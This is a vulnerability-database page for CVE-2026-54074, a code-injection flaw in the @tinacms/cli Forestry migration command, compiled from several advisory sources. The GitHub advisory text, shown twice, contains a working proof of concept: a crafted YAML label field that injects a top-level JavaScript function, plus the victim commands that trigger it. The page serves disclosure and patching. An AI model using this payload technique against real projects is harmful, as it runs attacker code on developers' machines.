CVE-2026-54074
@tinacms/cli: Remote Code Execution via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels
CVE-2026-54074 is a high vulnerability (CVSS 7.8) in Tinacms, published June 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.25%, the 16th percentile. Fixed in @tinacms/cli 2.4.3.
Tina is a headless content management system. @tinacms/cli versions prior to 2.4.3 contain a Remote Code Execution vulnerability in the Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "TINA_INTERNAL:::(.?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer's privileges. This issue has been fixed in version 2.4.3.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.8
@tinacms/cli: Remote Code Execution via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels
Tina is a headless content management system. @tinacms/cli versions prior to 2.4.3 contain a Remote Code Execution vulnerability in the Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "TINA_INTERNAL:::(.?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer's privileges. This issue has been fixed in version 2.4.3.
- Record
CVE-2026-54074- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
EUVDEUVD-2026-41142
7.8
Tina is a headless content management system. @tinacms/cli versions prior to 2.4.3 contain a Remote Code Execution vulnerability in the Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "TINA_INTERNAL:::(.?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer's privileges. This issue has been fixed in version 2.4.3.
- Record
EUVD-2026-41142- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-4936-9hrh-qqpw
7.8
@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels
Description
Summary
@tinacms/cli contains a Remote Code Execution vulnerability in its
Forestry-to-Tina migration command. The internal helper addVariablesToCode
unquotes any value matching the marker "__TINA_INTERNAL__:::(.*?):::"
inside the stringified collection JSON. User-supplied label and name
fields from .forestry/**/*.yml are placed into that JSON without any
sanitisation. An attacker who controls a Forestry-style project can therefore
inject arbitrary JavaScript into the generated tina/templates.{ts,js}
file. The injected code is written at module top level, so it executes
the moment the developer runs tinacms dev or tinacms build, with the
developer's privileges.
Details
Vulnerable code path:
-
packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts—transformForestryFieldsToTinaFields()writesforestryField.label(and.name) straight into TinaField objects (no sanitisation). -
packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts, lines 16-22 — the regex-based unquoter:export const addVariablesToCode = (codeWithTinaPrefix: string) => { const code = codeWithTinaPrefix.replace( /"__TINA_INTERNAL__:::(.*?):::"/g, '$1' ); return { code }; }; -
codeTransformer.tslines 80-88 — the field array isJSON.stringify-ed and then handed toaddVariablesToCode. BecauseJSON.stringifydoes not escape single quotes or backticks, an attacker who avoids"in the payload survives the JSON pass intact. -
packages/@tinacms/cli/src/cmds/init/apply.tslines 110-116 — the resulting string is written totina/templates.{ts,js}and imported by the generatedtina/config.{ts,js}, whichtinacms devevaluates.
Why it executes immediately: the regex unquoting allows the attacker's
payload to close the surrounding object/array and the enclosing
xxxFields() function, drop a top-level IIFE, and then start a dummy
function that swallows the trailing JSON. The IIFE is at module scope,
so it runs the instant tina/config.ts imports ./templates.
PoC
End-to-end verified against tinacms and @tinacms/[email protected], built from
commit ae1ab5d0f of tinacms/tinacms on Windows 11 + Node.js v24
(behaviour is identical on Node 22).
Step 1 — attacker prepares a malicious Forestry project
.forestry/settings.yml
---
new_page_extension: md
auto_deploy: false
admin_path: ''
webhook_url: ''
sections:
- type: directory
path: content/posts
label: Posts
create: all
match: "**/*.md"
templates:
- rce
.forestry/front_matter/templates/rce.yml
---
label: rce_template
fields:
- name: title
type: text
label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::"
Note on payload encoding. The original disclosure draft used double quotes inside the payload (
console.log("RCE")).JSON.stringifyescapes those to\", which makes the generated TypeScript syntactically invalid and is rejected by Prettier before the file is written. Using single quotes or backticks for the inner string literals is required for the exploit to succeed.
Step 2 — victim runs the standard onboarding flow
git clone <attacker repo>
cd <attacker repo>
npx tinacms init # accepts the "migrate Forestry templates?" prompt
npx tinacms dev # OR: npx tinacms build
Step 3 — generated tina/templates.ts (verbatim, from a clean run)
import type { TinaField } from "tinacms";
export function rce_templateFields() {
return [{ type: "string", name: "title", label: 1 }];
}
(function () { // <--…
- Record
GHSA-4936-9hrh-qqpw- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
NVD
7.8
Tina is a headless content management system. @tinacms/cli versions prior to 2.4.3 contain a Remote Code Execution vulnerability in the Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "TINA_INTERNAL:::(.?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer's privileges. This issue has been fixed in version 2.4.3.
- Record
CVE-2026-54074- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSV
7.8
@tinacms/cli: Remote Code Execution via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels
Tina is a headless content management system. @tinacms/cli versions prior to 2.4.3 contain a Remote Code Execution vulnerability in the Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker "TINA_INTERNAL:::(.?):::" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer's privileges. This issue has been fixed in version 2.4.3.
- Record
CVE-2026-54074- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVGHSA-4936-9hrh-qqpw
7.8
@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration — unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels
Description
Summary
@tinacms/cli contains a Remote Code Execution vulnerability in its
Forestry-to-Tina migration command. The internal helper addVariablesToCode
unquotes any value matching the marker "__TINA_INTERNAL__:::(.*?):::"
inside the stringified collection JSON. User-supplied label and name
fields from .forestry/**/*.yml are placed into that JSON without any
sanitisation. An attacker who controls a Forestry-style project can therefore
inject arbitrary JavaScript into the generated tina/templates.{ts,js}
file. The injected code is written at module top level, so it executes
the moment the developer runs tinacms dev or tinacms build, with the
developer's privileges.
Details
Vulnerable code path:
-
packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts—transformForestryFieldsToTinaFields()writesforestryField.label(and.name) straight into TinaField objects (no sanitisation). -
packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts, lines 16-22 — the regex-based unquoter:export const addVariablesToCode = (codeWithTinaPrefix: string) => { const code = codeWithTinaPrefix.replace( /"__TINA_INTERNAL__:::(.*?):::"/g, '$1' ); return { code }; }; -
codeTransformer.tslines 80-88 — the field array isJSON.stringify-ed and then handed toaddVariablesToCode. BecauseJSON.stringifydoes not escape single quotes or backticks, an attacker who avoids"in the payload survives the JSON pass intact. -
packages/@tinacms/cli/src/cmds/init/apply.tslines 110-116 — the resulting string is written totina/templates.{ts,js}and imported by the generatedtina/config.{ts,js}, whichtinacms devevaluates.
Why it executes immediately: the regex unquoting allows the attacker's
payload to close the surrounding object/array and the enclosing
xxxFields() function, drop a top-level IIFE, and then start a dummy
function that swallows the trailing JSON. The IIFE is at module scope,
so it runs the instant tina/config.ts imports ./templates.
PoC
End-to-end verified against tinacms and @tinacms/[email protected], built from
commit ae1ab5d0f of tinacms/tinacms on Windows 11 + Node.js v24
(behaviour is identical on Node 22).
Step 1 — attacker prepares a malicious Forestry project
.forestry/settings.yml
---
new_page_extension: md
auto_deploy: false
admin_path: ''
webhook_url: ''
sections:
- type: directory
path: content/posts
label: Posts
create: all
match: "**/*.md"
templates:
- rce
.forestry/front_matter/templates/rce.yml
---
label: rce_template
fields:
- name: title
type: text
label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::"
Note on payload encoding. The original disclosure draft used double quotes inside the payload (
console.log("RCE")).JSON.stringifyescapes those to\", which makes the generated TypeScript syntactically invalid and is rejected by Prettier before the file is written. Using single quotes or backticks for the inner string literals is required for the exploit to succeed.
Step 2 — victim runs the standard onboarding flow
git clone <attacker repo>
cd <attacker repo>
npx tinacms init # accepts the "migrate Forestry templates?" prompt
npx tinacms dev # OR: npx tinacms build
Step 3 — generated tina/templates.ts (verbatim, from a clean run)
import type { TinaField } from "tinacms";
export function rce_templateFields() {
return [{ type: "string", name: "title", label: 1 }];
}
(function () { // <--…
- Record
GHSA-4936-9hrh-qqpw- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-94
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@tinacms/clinpm |
before 2.4.3 | 2.4.3 |
History
| When | Changed | Sources |
|---|---|---|
| 2026-11-02 | created | CVE List, EUVD, GitHub Advisories, NVD, OSV |
References
github.com/tinacms/tinacms/security/advisories/GHSA-4936-9hrh-qqpw
github.com/tinacms/tinacms/pull/7006
github.com/tinacms/tinacms/commit/77665ae73dd4f9563d339535e76fa811a8abdfbb
github.com/tinacms/tinacms/releases/tag/@tinacms/[email protected]
github.com/advisories/GHSA-4936-9hrh-qqpw
github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54074.json
nvd.nist.gov/vuln/detail/CVE-2026-54074
github.com/tinacms/tinacms
Left out here: the rest of 2 source descriptions. The JSON record has them.